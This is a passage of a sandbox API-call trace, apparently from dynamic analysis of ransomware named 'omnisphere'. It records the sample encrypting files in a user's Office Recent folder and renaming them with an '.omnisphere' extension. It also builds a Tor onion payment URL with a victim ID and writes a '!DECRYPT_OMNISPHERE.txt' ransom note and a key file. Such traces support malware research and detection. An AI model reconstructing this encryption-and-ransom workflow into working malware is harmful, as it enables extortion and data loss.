pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.567] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.567] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.567] CryptDestroyKey (hKey=0x16394e8) returned 1 [0116.567] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0116.567] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x8d, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0116.567] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0116.569] GetProcessHeap () returned 0x1600000 [0116.569] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a2) returned 0x16924d0 [0116.570] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\index.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\index.dat.omnisphere")) returned 1 [0116.570] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.omnisphere.id" [0116.570] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\index.dat.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0116.571] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0116.572] CloseHandle (hObject=0x3c0) returned 1 [0116.573] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0116.573] CloseHandle (hObject=0x288) returned 1 [0116.574] SetEndOfFile (hFile=0x28c) returned 1 [0116.574] FlushFileBuffers (hFile=0x28c) returned 1 [0116.577] CloseHandle (hObject=0x28c) returned 1 [0116.577] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned 1 [0116.577] GetProcessHeap () returned 0x1600000 [0116.577] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1692780 [0116.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0116.577] GetProcessHeap () returned 0x1600000 [0116.578] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f198 [0116.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f198, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0116.578] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0116.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0116.578] GetProcessHeap () returned 0x1600000 [0116.578] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687228 [0116.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687228, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0116.578] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0116.578] GetProcessHeap () returned 0x1600000 [0116.578] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x1630f58 [0116.578] PathCombineW (in: pszDest=0x1630f58, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\!DECRYPT_OMNISPHERE.txt" [0116.578] GetProcessHeap () returned 0x1600000 [0116.578] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x168ec00 [0116.578] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.578] WriteFile (in: hFile=0x28c, lpBuffer=0x168ec00*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x168ec00*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0116.579] CloseHandle (hObject=0x28c) returned 1 [0116.579] GetProcessHeap () returned 0x1600000 [0116.579] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1692780 | out: hHeap=0x1600000) returned 1 [0116.579] GetProcessHeap () returned 0x1600000 [0116.579] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa4) returned 0x162ccb8 [0116.579] PathCombineW (in: pszDest=0x162ccb8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\unique_decrypt.key" [0116.579] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.580] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0116.580] CloseHandle (hObject=0x28c) returned 1 [0116.632] GetProcessHeap () returned 0x1600000 [0116.632] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162ccb8 | out: hHeap=0x1600000) returned 1 [0116.632] GetProcessHeap () returned 0x1600000 [0116.632] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e9a8 | out: hHeap=0x1600000) returned 1 [0116.632] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15a0aa18, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x15a0aa18, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x15a7d124, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0xd4, cFileName="Templates.LNK", cAlternateFileName="TEMPLA~1.LNK")) returned 1 [0116.632] GetProcessHeap () returned 0x1600000 [0116.632] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9a) returned 0x1656e08 [0116.632] PathCombineW (in: pszDest=0x1656e08, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent", pszFile="Templates.LNK" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK" [0116.632] StrStrW (lpFirst=".omnisphere", lpSrch=".LNK") returned 0x0 [0116.632] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\templates.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.633] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1171) returned 1 [0116.633] GetTickCount () returned 0x115d28f [0116.633] GetTickCount () returned 0x115d28f [0116.633] GetTickCount () returned 0x115d28f [0116.633] GetTickCount () returned 0x115d28f [0116.633] GetTickCount () returned 0x115d28f [0116.633] GetTickCount () returned 0x115d28f [0116.633] GetTickCount () returned 0x115d28f [0116.633] GetTickCount () returned 0x115d28f [0116.633] GetTickCount () returned 0x115d28f [0116.633] GetTickCount () returned 0x115d28f [0116.633] GetTickCount () returned 0x115d28f [0116.633] GetTickCount () returned 0x115d28f [0116.633] GetTickCount () returned 0x115d28f [0116.633] GetTickCount () returned 0x115d28f [0116.633] GetTickCount () returned 0x115d28f [0116.633] GetTickCount () returned 0x115d28f [0116.633] GetTickCount () returned 0x115d28f [0116.633] GetTickCount () returned 0x115d28f [0116.633] GetTickCount () returned 0x115d28f [0116.633] GetTickCount () returned 0x115d28f [0116.633] GetTickCount () returned 0x115d28f [0116.634] GetTickCount () returned 0x115d28f [0116.634] GetTickCount () returned 0x115d28f [0116.634] GetTickCount () returned 0x115d28f [0116.634] GetTickCount () returned 0x115d28f [0116.634] GetTickCount () returned 0x115d28f [0116.634] GetTickCount () returned 0x115d28f [0116.634] GetTickCount () returned 0x115d28f [0116.634] GetTickCount () returned 0x115d28f [0116.634] GetTickCount () returned 0x115d28f [0116.634] GetTickCount () returned 0x115d28f [0116.634] GetTickCount () returned 0x115d28f [0116.634] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16683d8) returned 1 [0116.635] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16396a8) returned 1 [0116.635] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0116.635] CryptDestroyKey (hKey=0x16396a8) returned 1 [0116.635] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0116.635] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x493, lpName=0x0) returned 0x288 [0116.635] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x493) returned 0x1480000 [0116.637] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668928) returned 1 [0116.638] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0116.638] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0116.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0116.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, 